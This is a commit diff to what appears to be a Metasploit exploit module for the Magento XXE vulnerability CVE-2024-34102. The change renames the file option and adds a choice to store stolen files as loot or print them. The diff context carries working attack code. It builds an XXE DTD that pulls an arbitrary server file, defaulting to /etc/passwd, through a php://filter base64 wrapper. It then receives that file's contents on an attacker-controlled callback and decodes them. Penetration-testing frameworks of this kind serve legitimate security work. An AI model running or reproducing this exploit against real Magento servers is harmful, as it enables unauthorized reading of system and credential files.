Skip to content

Commit 8b9b8a2

Browse files
committed
Gives the user a datastore option
The user can decide whether or not they want the loot to be stored on disk or printed to the console.
1 parent 07c1d81 commit 8b9b8a2

File tree

1 file changed

+15
-10
lines changed

1 file changed

+15
-10
lines changed

modules/exploits/multi/http/magento_xxe_cve_2024_34102.rb

Lines changed: 15 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -47,7 +47,8 @@ def initialize(info = {})
4747
register_options(
4848
[
4949
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/']),
50-
OptString.new('FILE', [ true, 'The file to read', '/etc/passwd'])
50+
OptString.new('TARGETFILE', [ true, 'The target file to read', '/etc/passwd']),
51+
OptBool.new('STORE_LOOT', [true, 'Store the target file as loot', false])
5152
]
5253
)
5354
end
@@ -96,7 +97,7 @@ def dtd_param_name
9697
end
9798

9899
def make_xxe_dtd
99-
filter_path = "php://filter/convert.base64-encode/resource=#{datastore['FILE']}"
100+
filter_path = "php://filter/convert.base64-encode/resource=#{datastore['TARGETFILE']}"
100101
ent_file = rand_text_alpha_lower(4..8)
101102
%(
102103
<!ENTITY % #{ent_file} SYSTEM "#{filter_path}">
@@ -121,7 +122,7 @@ def xxe_xml_data
121122
def xxe_request
122123
vprint_status('Sending XXE request')
123124

124-
signature = rand_text_alpha(6)
125+
signature = rand_text_alpha(6).capitalize
125126

126127
post_data = <<~EOF
127128
{
@@ -188,14 +189,18 @@ def on_request_uri(cli, req)
188189
if data&.empty?
189190
print_error('No data received')
190191
else
191-
print_good("Received file #{datastore['FILE']} content")
192+
193+
file_name = datastore['TARGETFILE']
194+
file_data = ::Base64.decode64(data).force_encoding('UTF-8')
195+
196+
if datastore['STORE_LOOT']
197+
p = store_loot(File.basename(file_name), 'text/plain', datastore['RHOST'], file_data, file_name, 'Magento XXE CVE-2024-34102 Results')
198+
print_good("File saved in: #{p}")
199+
else
200+
# A new line is sent before file contents for better readability
201+
print_good("File read succeeded! \n#{file_data}")
202+
end
192203

193-
loot_type = 'text/plain'
194-
loot_desc = 'Magento XXE CVE-2024-34102 Results'
195-
data = ::Base64.decode64(data).force_encoding('UTF-8')
196-
197-
p = store_loot(datastore['FILE'], loot_type, datastore['RHOST'], data, loot_desc)
198-
print_good("File saved in: #{p}")
199204
end
200205
else
201206
print_status("Unexpected request received: '#{req.method} #{req.uri}'")

0 commit comments

Comments
 (0)